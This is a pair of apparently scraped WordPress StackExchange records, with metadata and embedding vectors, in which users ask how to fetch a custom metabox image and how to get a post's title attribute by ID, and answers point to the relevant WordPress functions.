i have code like $burst_img= get_post_meta( $post->ID, 'burst_img', true ); to get the metabox , but it doesn't work, how can i get the metabox image ?
A: Normally, the WordPress function for displaying the image of your custom meta box is this <?php wp_get_attachment_image_src( $attachment_id, $size, $icon ); ?>
|
Q: How to get custom metabox image field? i have custom metabox with the image field, i can upload image from wp-admin to this metabox, metabox code
array(
'name' => 'Burst Image',
'desc' => 'Crop your image to exact dimension before upload!',
'id' => 'burst_img',
'type' => 'image'
)
i have code like $burst_img= get_post_meta( $post->ID, 'burst_img', true ); to get the metabox , but it doesn't work, how can i get the metabox image ?
A: Normally, the WordPress function for displaying the image of your custom meta box is this <?php wp_get_attachment_image_src( $attachment_id, $size, $icon ); ?>
|
wordpress
|
{
"language": "en",
"length": 99,
"provenance": "stackexchange_00019.jsonl.gz:436364",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111927"
}
|
[
0.043121337890625,
-0.02252197265625,
0.0543212890625,
-0.024658203125,
-0.0188751220703125,
0.01861572265625,
0.0137939453125,
-0.0501708984375,
0.0330810546875,
0.028533935546875,
-0.04608154296875,
-0.01415252685546875,
-0.006805419921875,
-0.004192352294921875,
-0.05194091796875,
-0.0377197265625,
0.055938720703125,
-0.0191802978515625,
0.056365966796875,
0.01071929931640625,
0.004413604736328125,
0.051422119140625,
0.044586181640625,
0.01372528076171875,
0.0251922607421875,
-0.0092620849609375,
0.04656982421875,
-0.020843505859375,
0.0194244384765625,
-0.0177764892578125,
0.0247955322265625,
0.00891876220703125,
0.0191802978515625,
0.0206298828125,
-0.0186767578125,
0.01468658447265625,
-0.037689208984375,
0.0143280029296875,
0.002986907958984375,
0.015045166015625,
0.0247039794921875,
-0.0196533203125,
-0.01207733154296875,
-0.006927490234375,
-0.01210784912109375,
-0.0007371902465820312,
-0.0262908935546875,
-0.05194091796875,
0.03948974609375,
0.00006639957427978516,
0.010772705078125,
0.029937744140625,
0.0245361328125,
-0.01477813720703125,
-0.0142364501953125,
-0.024810791015625,
-0.0253143310546875,
0.01534271240234375,
0.0308074951171875,
0.005809783935546875,
-0.016998291015625,
-0.00687408447265625,
0.0225830078125,
-0.01184844970703125,
-0.01386260986328125,
-0.005435943603515625,
-0.0258026123046875,
0.00482177734375,
0.0007877349853515625,
-0.022369384765625,
0.006275177001953125,
-0.0097808837890625,
-0.00826263427734375,
-0.056884765625,
-0.0218658447265625,
0.0306549072265625,
0.0016584396362304688,
-0.0408935546875,
-0.00820159912109375,
-0.017669677734375,
0.04803466796875,
0.0016574859619140625,
-0.0494384765625,
0.03045654296875,
0.0139923095703125,
0.0401611328125,
-0.0074920654296875,
-0.03973388671875,
0.002376556396484375,
-0.047515869140625,
-0.005245208740234375,
-0.11090087890625,
-0.0146636962890625,
0.025054931640625,
0.0079345703125,
-0.06304931640625,
0.01091766357421875,
0.0185394287109375,
-0.031402587890625,
-0.0247039794921875,
0.01024627685546875,
-0.03704833984375,
0.01433563232421875,
-0.0256805419921875,
0.01541900634765625,
-0.017730712890625,
-0.0254669189453125,
-0.0357666015625,
0.0191192626953125,
0.039031982421875,
-0.02301025390625,
-0.01313018798828125,
-0.005992889404296875,
-0.02130126953125,
-0.01995849609375,
0.03961181640625,
0.007549285888671875,
-0.01264190673828125,
-0.006069183349609375,
-0.00354766845703125,
0.01239013671875,
0.04156494140625,
0.0290374755859375,
-0.04742431640625,
0.0224456787109375,
0.018096923828125,
-0.04095458984375,
-0.045318603515625,
-0.031829833984375,
0.0022449493408203125,
-0.050445556640625,
0.00800323486328125,
0.07373046875,
0.06390380859375,
0.04052734375,
-0.0194549560546875,
0.0214080810546875,
-0.0009832382202148438,
-0.0009140968322753906,
0.0218963623046875,
-0.02197265625,
-0.033416748046875,
0.0154876708984375,
-0.007297515869140625,
-0.061614990234375,
0.049896240234375,
-0.007602691650390625,
-0.0184478759765625,
-0.018524169921875,
-0.060821533203125,
-0.051116943359375,
-0.03912353515625,
0.010498046875,
0.042877197265625,
0.047271728515625,
0.0252685546875,
0.11737060546875,
-0.03338623046875,
-0.04376220703125,
-0.057464599609375,
0.0132598876953125,
0.00023567676544189453,
0.00838470458984375,
0.053863525390625,
0.04449462890625,
-0.0062713623046875,
-0.01207733154296875,
0.008544921875,
0.02252197265625,
0.0259552001953125,
0.035003662109375,
-0.0028076171875,
0.004955291748046875,
0.01291656494140625,
-0.0011081695556640625,
-0.003582000732421875,
0.0273284912109375,
0.0345458984375,
0.00637054443359375,
0.0177154541015625,
-0.0025615692138671875,
-0.031280517578125,
0.06280517578125,
-0.024993896484375,
-0.022674560546875,
0.0107879638671875,
0.00890350341796875,
0.0157318115234375,
0.020538330078125,
0.00846099853515625,
0.027740478515625,
0.01320648193359375,
-0.06451416015625,
0.03607177734375,
-0.003253936767578125,
0.01259613037109375,
-0.027313232421875,
0.0035800933837890625,
-0.01043701171875,
0.00689697265625,
-0.0180511474609375,
-0.0168609619140625,
0.0077056884765625,
0.0109710693359375,
-0.0205230712890625,
0.0025157928466796875,
-0.017822265625,
0.02508544921875,
-0.031585693359375,
-0.004791259765625,
0.0192413330078125,
-0.039215087890625,
0.00128936767578125,
0.005828857421875,
-0.007122039794921875,
0.025146484375,
-0.0208587646484375,
0.018798828125,
-0.01488494873046875,
0.033355712890625,
-0.033111572265625,
-0.024322509765625,
-0.04180908203125,
-0.00312042236328125,
0.03082275390625,
0.032501220703125,
-0.02349853515625,
0.008087158203125,
0.03985595703125,
0.036956787109375,
-0.032470703125,
-0.00980377197265625,
-0.032958984375,
-0.047454833984375,
-0.020599365234375,
-0.00531768798828125,
0.01971435546875,
-0.084228515625,
0.0237884521484375,
0.0518798828125,
0.024658203125,
0.021728515625,
0.0152740478515625,
0.049774169921875,
0.07403564453125,
0.006725311279296875,
0.002227783203125,
0.01401519775390625,
0.010986328125,
0.0181884765625,
-0.040924072265625,
-0.01336669921875,
0.03955078125,
-0.0283050537109375,
0.0027599334716796875,
0.042572021484375,
-0.01367950439453125,
-0.0247802734375,
-0.001827239990234375,
0.0233306884765625,
0.0016326904296875,
0.0243072509765625,
-0.0103607177734375,
-0.001125335693359375,
0.004901885986328125,
0.06146240234375,
0.030303955078125,
0.033599853515625,
-0.0543212890625,
0.04815673828125,
0.0208282470703125,
0.0178985595703125,
-0.0007958412170410156,
0.016815185546875,
0.0194854736328125,
0.0509033203125,
-0.0211029052734375,
-0.015380859375,
0.03802490234375,
0.018280029296875,
0.0066680908203125,
0.020965576171875,
-0.04180908203125,
-0.01062774658203125,
-0.006122589111328125,
-0.038177490234375,
0.01325225830078125,
0.038238525390625,
0.0225372314453125,
0.005786895751953125,
0.01515960693359375,
0.0404052734375,
0.0102691650390625,
0.0313720703125,
-0.002330780029296875,
-0.004978179931640625,
0.006988525390625,
-0.0487060546875,
0.0579833984375,
-0.046630859375,
0.0570068359375,
0.06427001953125,
-0.05511474609375,
0.054351806640625,
-0.0184173583984375,
0.002552032470703125,
-0.0496826171875,
0.03619384765625,
0.01013946533203125,
-0.053802490234375,
-0.0274200439453125,
-0.00013840198516845703,
0.023681640625,
0.031524658203125,
-0.005096435546875,
-0.01580810546875,
-0.0036754608154296875,
0.0190887451171875,
-0.035064697265625,
-0.025543212890625,
0.005001068115234375,
-0.0263824462890625,
-0.019622802734375,
-0.023956298828125,
-0.01195526123046875,
0.00861358642578125,
-0.024810791015625,
-0.01241302490234375,
-0.03338623046875,
-0.02239990234375,
-0.00634765625,
-0.042694091796875,
-0.045166015625,
-0.0285186767578125,
0.0214691162109375,
0.014923095703125,
-0.0016851425170898438,
0.052734375,
0.001495361328125,
-0.046417236328125,
-0.00794219970703125,
0.08984375,
0.01197052001953125,
-0.0033550262451171875,
0.01763916015625,
-0.0384521484375,
0.01458740234375,
-0.0194549560546875,
-0.0014667510986328125,
0.0467529296875,
-0.03375244140625,
0.002979278564453125,
-0.03790283203125,
-0.0247650146484375,
-0.0155029296875,
0.03729248046875,
0.04541015625,
-0.0183868408203125,
0.0270233154296875,
-0.04351806640625,
-0.004581451416015625,
-0.01175689697265625,
-0.0102081298828125,
0.0173797607421875,
-0.0202789306640625,
-0.0017843246459960938,
-0.00975799560546875,
0.05120849609375,
0.0294647216796875,
0.020782470703125,
0.029754638671875,
-0.0242919921875,
0.0179290771484375,
0.016937255859375,
0.020050048828125,
-0.02392578125,
0.014007568359375,
-0.0236053466796875,
0.0679931640625,
0.01433563232421875,
0.0005016326904296875,
-0.04107666015625,
0.0286712646484375,
-0.0599365234375,
-0.04718017578125,
0.058074951171875,
0.003253936767578125,
0.0197601318359375,
-0.0223541259765625,
-0.039154052734375,
0.004291534423828125,
0.093505859375,
-0.009796142578125,
-0.028656005859375,
-0.0008802413940429688,
0.000698089599609375,
-0.03192138671875,
-0.0005817413330078125,
-0.017913818359375,
-0.00791168212890625,
-0.114013671875,
0.002185821533203125,
0.0290985107421875,
-0.06854248046875,
0.037750244140625,
-0.0170440673828125,
-0.061187744140625,
-0.044891357421875,
0.04229736328125,
-0.035888671875,
0.007221221923828125,
0.0264892578125,
0.007724761962890625,
-0.016265869140625,
-0.01425933837890625,
-0.02374267578125,
-0.09490966796875,
-0.0311279296875,
0.0171356201171875,
0.07769775390625,
-0.0341796875,
0.0247344970703125,
-0.040802001953125,
0.0634765625,
0.0254364013671875,
0.01129913330078125,
-0.007049560546875,
-0.0059051513671875,
0.0275726318359375,
-0.041259765625,
-0.0077972412109375,
-0.03778076171875,
0.00571441650390625,
-0.0323486328125,
-0.0272369384765625,
-0.0167999267578125,
-0.03936767578125,
0.006988525390625,
-0.0162200927734375,
-0.016387939453125,
0.01800537109375,
-0.0458984375,
-0.034820556640625,
0.0030689239501953125,
-0.00678253173828125,
-0.01448822021484375,
-0.046417236328125,
0.0004603862762451172,
0.0038909912109375,
-0.0034465789794921875,
-0.004058837890625,
0.0301361083984375,
0.04296875,
0.00726318359375,
-0.01383209228515625,
-0.1007080078125,
-0.0138702392578125,
0.044036865234375,
-0.017242431640625,
0.0360107421875,
0.0276336669921875,
-0.022491455078125,
0.05810546875,
-0.00043511390686035156,
0.033935546875,
-0.046356201171875,
0.043365478515625,
-0.00571441650390625,
-0.01262664794921875,
0.02142333984375,
-0.020477294921875,
0.0179290771484375,
0.0107879638671875,
-0.0156402587890625,
-0.007572174072265625,
-0.01288604736328125,
0.03900146484375,
-0.01270294189453125,
0.007137298583984375,
-0.034637451171875,
-0.0333251953125,
-0.0025844573974609375,
-0.012237548828125,
0.0521240234375,
0.0201263427734375,
0.0008487701416015625,
0.03448486328125,
0.04266357421875,
0.0143280029296875,
-0.0130767822265625,
-0.02349853515625,
-0.005298614501953125,
0.0170135498046875,
0.0115203857421875,
0.006011962890625,
0.006862640380859375,
0.01186370849609375,
0.004192352294921875,
-0.008636474609375,
-0.00902557373046875,
-0.05303955078125,
-0.0001742839813232422,
0.018798828125,
0.01320648193359375,
-0.0285186767578125,
0.039581298828125,
0.0748291015625,
-0.0221710205078125,
0.00363922119140625,
-0.02581787109375,
0.037689208984375,
-0.05743408203125,
0.006671905517578125,
-0.001094818115234375,
-0.00853729248046875,
-0.0207977294921875,
0.074462890625,
-0.058319091796875,
0.03338623046875,
0.01358795166015625,
0.0106048583984375,
0.01024627685546875,
0.07025146484375,
0.022735595703125,
-0.048980712890625,
-0.0008335113525390625,
0.04180908203125,
-0.0157318115234375,
-0.0221099853515625,
0.0291595458984375,
-0.003635406494140625,
0.040496826171875,
-0.005420684814453125,
-0.0452880859375,
0.02752685546875,
-0.048187255859375,
-0.0135650634765625,
0.002178192138671875,
-0.007167816162109375,
-0.0255889892578125,
-0.01568603515625,
-0.0149078369140625,
0.01499176025390625,
-0.002239227294921875,
-0.01531219482421875,
0.03839111328125,
0.01399993896484375,
0.05633544921875,
-0.032379150390625,
0.000324249267578125,
0.0196380615234375,
0.03643798828125,
-0.02734375,
-0.00783538818359375,
-0.0273895263671875,
0.0012798309326171875,
-0.0168304443359375,
-0.0015687942504882812,
-0.053619384765625,
0.04248046875,
-0.0187225341796875,
-0.0115203857421875,
-0.023773193359375,
0.0283355712890625,
-0.06561279296875,
0.0172576904296875,
0.016754150390625,
-0.00801849365234375,
0.02508544921875,
-0.0284423828125,
-0.017852783203125,
-0.01031494140625,
0.05328369140625,
-0.0198974609375,
0.0193328857421875,
-0.022552490234375,
-0.018524169921875,
0.059600830078125,
0.006687164306640625,
0.019256591796875,
0.0100250244140625,
-0.01479339599609375,
-0.03875732421875,
0.064697265625,
-0.0027103424072265625,
-0.0069122314453125,
0.011077880859375,
0.0419921875,
0.0010242462158203125,
-0.0166778564453125,
-0.00841522216796875,
-0.03106689453125,
-0.0227508544921875,
-0.0196380615234375,
0.01776123046875,
0.00408935546875,
0.04229736328125,
0.0096282958984375,
0.0262908935546875,
0.01454925537109375,
-0.01099395751953125,
-0.025634765625,
-0.018829345703125,
-0.01922607421875,
0.047271728515625,
0.0097198486328125,
0.0033550262451171875,
0.017913818359375,
-0.055450439453125,
0.0027675628662109375,
0.0199737548828125,
-0.0106201171875,
0.046173095703125,
-0.036163330078125,
0.0232391357421875,
0.059906005859375,
-0.06024169921875,
0.06719970703125,
0.08441162109375,
0.0175933837890625,
0.04998779296875,
0.0153350830078125,
0.00862884521484375,
0.0009322166442871094,
0.046417236328125,
-0.00696563720703125,
-0.018402099609375,
0.0631103515625,
0.021881103515625,
-0.031585693359375,
0.041015625,
-0.02252197265625,
0.033935546875,
-0.0209197998046875,
0.09130859375,
0.0166015625,
0.0231475830078125,
0.0479736328125,
-0.03436279296875,
0.0013322830200195312,
0.0163421630859375,
-0.01837158203125,
0.0012378692626953125,
-0.0012331008911132812,
-0.069580078125,
-0.01763916015625,
0.00817108154296875,
-0.00901031494140625,
-0.010284423828125,
-0.00841522216796875,
-0.006809234619140625,
0.004535675048828125,
-0.02301025390625,
0.0081939697265625,
0.0048980712890625,
-0.0086517333984375,
0.003978729248046875,
0.0311431884765625,
-0.0230560302734375,
0.0018911361694335938,
-0.045806884765625,
-0.00765228271484375,
-0.0198516845703125,
-0.0140380859375,
-0.004085540771484375,
0.022705078125,
0.058563232421875,
0.059051513671875,
0.01214599609375,
-0.019866943359375,
0.022796630859375,
-0.00717926025390625,
0.00879669189453125,
-0.0285797119140625,
-0.01136016845703125,
0.0330810546875,
-0.04425048828125,
0.01373291015625,
-0.01715087890625,
0.0127105712890625,
-0.0146636962890625,
0.0019378662109375,
0.06671142578125,
-0.004383087158203125,
-0.0262451171875,
0.020782470703125,
0.0631103515625,
-0.0175018310546875,
0.027313232421875,
0.0085601806640625,
-0.0290985107421875,
0.006103515625,
0.01690673828125,
-0.035308837890625,
-0.007457733154296875,
0.0231475830078125,
-0.0816650390625,
0.02093505859375,
0.0269927978515625,
0.0122528076171875,
-0.0092010498046875,
0.004863739013671875,
-0.00496673583984375,
-0.03253173828125,
-0.0186920166015625,
0.0269012451171875,
-0.01480865478515625,
0.00856781005859375,
-0.068115234375,
-0.0021820068359375,
-0.019256591796875,
0.036041259765625,
0.07196044921875,
0.015716552734375,
-0.046539306640625,
-0.034820556640625,
0.020477294921875,
0.07080078125,
0.0101470947265625,
0.033721923828125,
0.0171356201171875,
0.0506591796875,
0.031585693359375,
-0.05657958984375,
0.0159912109375,
-0.012847900390625,
-0.00308990478515625,
0.0350341796875,
0.001583099365234375,
0.0036830902099609375,
0.00760650634765625,
0.006198883056640625,
-0.0269317626953125,
-0.000031888484954833984,
0.0283050537109375,
-0.043182373046875,
-0.0192108154296875,
0.022003173828125,
-0.004520416259765625,
0.030731201171875,
-0.032257080078125,
0.00582122802734375,
0.0213165283203125,
0.0223846435546875,
0.033782958984375,
0.034454345703125,
0.0182647705078125,
0.00011533498764038086,
0.00800323486328125,
0.0200958251953125,
0.0189361572265625,
-0.0157928466796875,
0.0318603515625,
-0.0338134765625,
-0.01445770263671875,
-0.0933837890625,
0.041900634765625,
0.054046630859375,
0.03985595703125,
-0.06475830078125,
-0.042694091796875,
0.00821685791015625,
-0.021942138671875,
0.0146484375,
-0.002948760986328125,
0.0009908676147460938,
-0.032257080078125,
-0.019073486328125,
-0.025787353515625,
0.0249481201171875,
0.029266357421875,
0.04058837890625,
-0.01153564453125,
0.0108795166015625,
-0.07525634765625,
0.002025604248046875,
-0.0438232421875,
0.005970001220703125,
0.0017137527465820312,
0.030609130859375,
0.0289459228515625,
-0.0037899017333984375,
0.0294952392578125,
-0.005706787109375,
-0.004467010498046875,
0.032562255859375,
-0.02337646484375,
0.0200347900390625,
-0.021270751953125,
-0.03741455078125,
0.01169586181640625,
0.03466796875,
0.0296783447265625,
-0.0153656005859375,
0.0244903564453125,
0.006580352783203125,
-0.042877197265625,
-0.00852203369140625,
0.0209197998046875,
-0.01157379150390625,
0.019622802734375,
-0.06707763671875,
0.0283966064453125,
0.01020050048828125,
-0.00472259521484375,
-0.0025424957275390625,
-0.054443359375,
0.0733642578125,
-0.033721923828125,
0.04486083984375,
-0.0102081298828125,
-0.0125732421875,
0.033355712890625,
-0.035675048828125,
0.0460205078125,
-0.034912109375,
-0.058837890625,
0.0029430389404296875,
-0.04510498046875,
-0.028289794921875,
0.0194244384765625,
0.03143310546875,
-0.01885986328125,
0.01849365234375,
-0.04254150390625,
-0.01084136962890625,
-0.0012521743774414062,
-0.00518798828125,
-0.0004153251647949219,
0.0296173095703125,
0.0094451904296875,
-0.002147674560546875,
-0.0280303955078125,
-0.022979736328125,
0.00911712646484375,
0.0208740234375,
0.016998291015625,
0.00261688232421875,
0.0155487060546875,
0.0199432373046875,
-0.01513671875,
0.004367828369140625,
-0.0255889892578125,
-0.00803375244140625,
-0.01617431640625,
0.009002685546875,
0.0023975372314453125,
-0.0201416015625,
-0.005840301513671875,
0.024169921875,
0.039825439453125,
-0.022705078125,
-0.0186309814453125,
0.029510498046875,
0.02777099609375,
0.0214996337890625,
-0.0232391357421875,
-0.038543701171875,
-0.005611419677734375,
-0.053253173828125,
-0.045166015625,
0.0467529296875,
-0.0045166015625,
-0.000028848648071289062,
0.007564544677734375,
0.05206298828125,
0.01297760009765625,
0.0298614501953125,
-0.0012149810791015625,
0.07513427734375,
0.052825927734375,
-0.059844970703125,
-0.037109375,
-0.035888671875,
-0.0185546875,
-0.00405120849609375,
-0.0203399658203125,
0.040496826171875,
-0.0225677490234375,
-0.0253753662109375,
0.03497314453125,
0.0029449462890625,
0.0145263671875,
-0.045928955078125,
-0.0201873779296875,
0.06292724609375,
-0.001644134521484375,
-0.0224609375,
-0.033935546875,
-0.0025787353515625,
-0.0438232421875,
-0.01284027099609375,
0.04296875,
-0.0221710205078125,
0.01038360595703125,
-0.0296630859375,
-0.0034503936767578125,
0.01070404052734375,
0.01024627685546875,
-0.0557861328125,
0.047760009765625,
-0.00029969215393066406,
-0.014373779296875,
-0.00015628337860107422,
-0.00553131103515625,
0.0026226043701171875,
0.058563232421875,
-0.0008411407470703125,
-0.04364013671875,
-0.02191162109375,
0.040191650390625,
-0.03729248046875,
0.0247955322265625,
0.034881591796875,
-0.037139892578125,
0.0009131431579589844,
0.030242919921875,
0.036712646484375,
0.06829833984375,
-0.0038890838623046875,
-0.0239410400390625,
-0.03192138671875,
0.0277557373046875,
-0.01531219482421875,
-0.0103912353515625,
0.03924560546875,
-0.020477294921875,
-0.01397705078125,
-0.036834716796875,
0.0204315185546875,
0.0204925537109375,
-0.0250396728515625,
-0.0697021484375,
-0.005558013916015625,
-0.0110015869140625,
-0.04522705078125,
-0.0638427734375,
0.01678466796875,
0.02093505859375,
0.01091766357421875,
-0.0091705322265625,
-0.03607177734375,
-0.0312042236328125,
0.010833740234375,
0.007732391357421875,
-0.03765869140625,
0.040374755859375,
-0.011016845703125,
-0.06414794921875,
-0.01525115966796875,
-0.007049560546875,
-0.021209716796875,
-0.024627685546875,
-0.0101776123046875,
0.005626678466796875,
0.039886474609375,
-0.0170440673828125,
-0.0667724609375,
0.020538330078125,
-0.002429962158203125,
-0.01171875,
-0.05810546875,
0.003002166748046875,
0.00222015380859375,
0.051849365234375,
0.038604736328125,
0.0033721923828125,
-0.046661376953125,
0.0028934478759765625,
-0.0380859375,
-0.04827880859375,
-0.05938720703125,
0.02252197265625,
-0.0987548828125,
-0.045867919921875,
0.017486572265625,
-0.0386962890625,
0.01171112060546875,
-0.002826690673828125,
-0.06591796875,
0.0273590087890625,
0.0013380050659179688,
-0.00232696533203125,
-0.07781982421875,
-0.0011453628540039062,
0.08551025390625,
-0.062347412109375,
0.00785064697265625,
-0.003875732421875,
0.00508880615234375,
0.05438232421875,
-0.0242767333984375,
-0.003376007080078125,
-0.000019669532775878906,
-0.0208892822265625,
0.01485443115234375,
-0.01099395751953125,
0.01849365234375,
-0.0174102783203125,
-0.023284912109375,
-0.0033931732177734375,
0.0191497802734375,
-0.01233673095703125,
0.0279541015625,
-0.0230712890625,
0.0194244384765625,
0.00023031234741210938,
0.039093017578125,
-0.02093505859375,
0.00098419189453125,
-0.014190673828125,
0.0221099853515625,
-0.016357421875,
0.0031147003173828125,
0.039520263671875,
-0.0333251953125,
0.0227813720703125,
-0.0136260986328125,
-0.004566192626953125,
-0.0078887939453125,
-0.01067352294921875,
0.006206512451171875,
-0.017120361328125,
0.012176513671875
] |
356f804318dd32dcc5b48e1d71193f8b34cf0462
|
Wordpress Stackexchange
Q: get the_title_attribute by id I'm creating a list with a few permalinks which I call to with <a href="<?php echo get_permalink($id); ?>" title=".... And for the title I want to call the_title_attribute(). But it seems it can only be called within a loop, and not by id. How do I correctly get a title attribute?
Note: The reason I want to use the_title_attributes(); is because I use html tags within some of my titles.
A: hey just look in code and it also support fourth parameter post
global $post;
the_title_attribute(array('post'=>$post));//post object
or
global $post;
the_title_attribute(array('post'=>$post->ID));//post id
so you can use it like
<a href="<?php echo get_permalink($id); ?>" title="<?php the_title_attribute(array('post'=>$id)); ?>"> //where $id is post id
Important Link
the_title_attribute
|
Q: get the_title_attribute by id I'm creating a list with a few permalinks which I call to with <a href="<?php echo get_permalink($id); ?>" title=".... And for the title I want to call the_title_attribute(). But it seems it can only be called within a loop, and not by id. How do I correctly get a title attribute?
Note: The reason I want to use the_title_attributes(); is because I use html tags within some of my titles.
A: hey just look in code and it also support fourth parameter post
global $post;
the_title_attribute(array('post'=>$post));//post object
or
global $post;
the_title_attribute(array('post'=>$post->ID));//post id
so you can use it like
<a href="<?php echo get_permalink($id); ?>" title="<?php the_title_attribute(array('post'=>$id)); ?>"> //where $id is post id
Important Link
the_title_attribute
A: you can use
get_the_title($ID);
to get title by id later you can add html tags like ..
$title_before = " // your html tags";
$title_after = "// your html tags";
$new_title = $title_before .''.get_the_title($ID).''.$title_after;
|
wordpress
|
{
"language": "en",
"length": 154,
"provenance": "stackexchange_00019.jsonl.gz:436365",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111931"
}
|
[
0.034912109375,
-0.0234527587890625,
0.03436279296875,
0.03802490234375,
-0.0117340087890625,
-0.0216827392578125,
0.08807373046875,
-0.0390625,
0.004241943359375,
0.0467529296875,
-0.03717041015625,
0.0222320556640625,
-0.0015306472778320312,
-0.01073455810546875,
-0.00445556640625,
-0.00705718994140625,
0.041473388671875,
-0.026947021484375,
0.04302978515625,
0.00832366943359375,
-0.0017452239990234375,
0.02685546875,
0.050445556640625,
0.0096588134765625,
0.0357666015625,
-0.040069580078125,
0.046417236328125,
-0.00165557861328125,
0.0231170654296875,
-0.01800537109375,
0.01739501953125,
0.00052642822265625,
0.0301513671875,
-0.047332763671875,
0.06866455078125,
0.046417236328125,
0.0253143310546875,
-0.0251922607421875,
0.032501220703125,
0.0227813720703125,
0.03759765625,
-0.011749267578125,
0.0103912353515625,
0.051300048828125,
-0.018951416015625,
-0.0254364013671875,
0.0212860107421875,
-0.029510498046875,
0.003475189208984375,
-0.035858154296875,
0.00907135009765625,
0.032623291015625,
0.0211334228515625,
-0.0223541259765625,
0.0032825469970703125,
0.0280914306640625,
0.0176544189453125,
-0.048187255859375,
0.04656982421875,
-0.03167724609375,
-0.058807373046875,
-0.050018310546875,
0.054840087890625,
-0.0308380126953125,
-0.0214691162109375,
0.0221099853515625,
0.035614013671875,
0.011749267578125,
0.0212860107421875,
-0.0278167724609375,
-0.004230499267578125,
0.00469207763671875,
-0.01203155517578125,
-0.039947509765625,
-0.0201263427734375,
-0.00910186767578125,
-0.0014562606811523438,
-0.0662841796875,
-0.0117950439453125,
0.003803253173828125,
-0.00841522216796875,
-0.033050537109375,
-0.051239013671875,
0.0124969482421875,
0.021942138671875,
0.038665771484375,
-0.007648468017578125,
-0.0182647705078125,
-0.007648468017578125,
-0.047607421875,
-0.011566162109375,
0.0199432373046875,
-0.0260162353515625,
-0.0169677734375,
-0.0310821533203125,
-0.03253173828125,
0.041748046875,
0.0748291015625,
-0.0142364501953125,
0.007549285888671875,
-0.00870513916015625,
-0.04229736328125,
0.030853271484375,
-0.03765869140625,
-0.02264404296875,
-0.024566650390625,
0.0172882080078125,
0.038299560546875,
0.005474090576171875,
0.0291900634765625,
-0.036956787109375,
-0.01192474365234375,
0.0263824462890625,
0.01953125,
-0.048553466796875,
-0.003170013427734375,
-0.0223388671875,
0.0043792724609375,
-0.0109100341796875,
0.0257568359375,
-0.0296173095703125,
-0.00019991397857666016,
0.0182342529296875,
0.01070404052734375,
0.0174713134765625,
0.03375244140625,
0.004436492919921875,
-0.051513671875,
-0.0177001953125,
0.022918701171875,
-0.01396942138671875,
0.01062774658203125,
0.035919189453125,
0.03436279296875,
-0.0081939697265625,
-0.01555633544921875,
-0.0182647705078125,
-0.015411376953125,
-0.00730133056640625,
-0.02337646484375,
-0.0002505779266357422,
0.00455474853515625,
0.036285400390625,
-0.020538330078125,
-0.0014858245849609375,
0.02264404296875,
0.005176544189453125,
0.001983642578125,
-0.01485443115234375,
-0.05316162109375,
0.03271484375,
-0.034637451171875,
-0.01082611083984375,
0.0301513671875,
0.031768798828125,
-0.0389404296875,
0.03204345703125,
-0.037841796875,
0.06402587890625,
-0.035125732421875,
0.0187225341796875,
-0.0169830322265625,
-0.0217437744140625,
-0.00864410400390625,
-0.04608154296875,
0.02362060546875,
-0.00458526611328125,
-0.0140533447265625,
0.0111846923828125,
0.051055908203125,
-0.0013036727905273438,
0.0027370452880859375,
-0.005096435546875,
-0.01522064208984375,
-0.019561767578125,
-0.0243072509765625,
-0.00804901123046875,
-0.0208282470703125,
0.033172607421875,
0.0016222000122070312,
-0.035797119140625,
-0.041229248046875,
0.006229400634765625,
-0.0178680419921875,
-0.03802490234375,
0.0224609375,
0.004543304443359375,
0.06182861328125,
0.0193634033203125,
0.025482177734375,
0.002117156982421875,
-0.0009179115295410156,
-0.05950927734375,
0.019744873046875,
0.005695343017578125,
0.00007319450378417969,
-0.008056640625,
0.01085662841796875,
-0.0077056884765625,
-0.0209808349609375,
0.0467529296875,
-0.00649261474609375,
0.0254364013671875,
0.0222015380859375,
0.0004658699035644531,
0.0060577392578125,
0.004329681396484375,
-0.005619049072265625,
-0.0195770263671875,
0.022491455078125,
0.0231170654296875,
-0.01776123046875,
-0.01200103759765625,
-0.04571533203125,
-0.004947662353515625,
0.013519287109375,
-0.0196075439453125,
-0.037109375,
-0.037139892578125,
-0.0276641845703125,
-0.0297088623046875,
-0.00786590576171875,
-0.0330810546875,
0.06829833984375,
0.08343505859375,
0.00055694580078125,
-0.007572174072265625,
-0.0239410400390625,
0.0479736328125,
0.0341796875,
-0.08343505859375,
0.002742767333984375,
0.0302886962890625,
0.0667724609375,
-0.005954742431640625,
-0.0225677490234375,
-0.044525146484375,
-0.0911865234375,
0.0021343231201171875,
0.0716552734375,
0.0274200439453125,
0.026947021484375,
-0.00662994384765625,
-0.0236053466796875,
0.00905609130859375,
-0.01715087890625,
0.032867431640625,
-0.04833984375,
0.00672149658203125,
0.00390625,
0.01015472412109375,
0.0152587890625,
0.037628173828125,
-0.02001953125,
-0.00803375244140625,
0.06280517578125,
-0.0216217041015625,
0.00444793701171875,
-0.0251007080078125,
0.01444244384765625,
-0.0059967041015625,
-0.03924560546875,
-0.004863739013671875,
-0.02752685546875,
0.018463134765625,
0.03851318359375,
0.0124053955078125,
0.028533935546875,
-0.04473876953125,
0.026153564453125,
0.00429534912109375,
-0.0017805099487304688,
0.0030231475830078125,
0.0309600830078125,
0.0026721954345703125,
-0.004177093505859375,
-0.03466796875,
0.0023441314697265625,
0.01123046875,
0.0036602020263671875,
-0.01485443115234375,
0.0145263671875,
-0.0084228515625,
-0.01953125,
-0.006519317626953125,
-0.041534423828125,
0.003429412841796875,
0.0055999755859375,
-0.01213836669921875,
-0.0130615234375,
0.01045989990234375,
0.032073974609375,
-0.00905609130859375,
0.0361328125,
-0.002201080322265625,
-0.000048220157623291016,
-0.006076812744140625,
-0.03997802734375,
0.03729248046875,
-0.03289794921875,
0.037811279296875,
0.06829833984375,
-0.00440216064453125,
0.022491455078125,
0.00255584716796875,
-0.0255279541015625,
0.00530242919921875,
-0.00981903076171875,
-0.02496337890625,
0.0033740997314453125,
-0.0821533203125,
0.0182342529296875,
0.006381988525390625,
0.093017578125,
-0.03619384765625,
-0.08404541015625,
0.00008594989776611328,
0.011474609375,
-0.08349609375,
-0.080810546875,
0.044769287109375,
-0.057861328125,
0.0025501251220703125,
0.0010480880737304688,
-0.0241241455078125,
-0.0287628173828125,
0.036224365234375,
-0.01165008544921875,
0.024078369140625,
0.0002155303955078125,
-0.0687255859375,
-0.0062408447265625,
-0.0728759765625,
0.0011491775512695312,
-0.0165252685546875,
0.02655029296875,
-0.00010293722152709961,
-0.0010194778442382812,
-0.01036834716796875,
-0.01477813720703125,
0.0228424072265625,
0.02593994140625,
-0.00872802734375,
-0.0273895263671875,
0.00931549072265625,
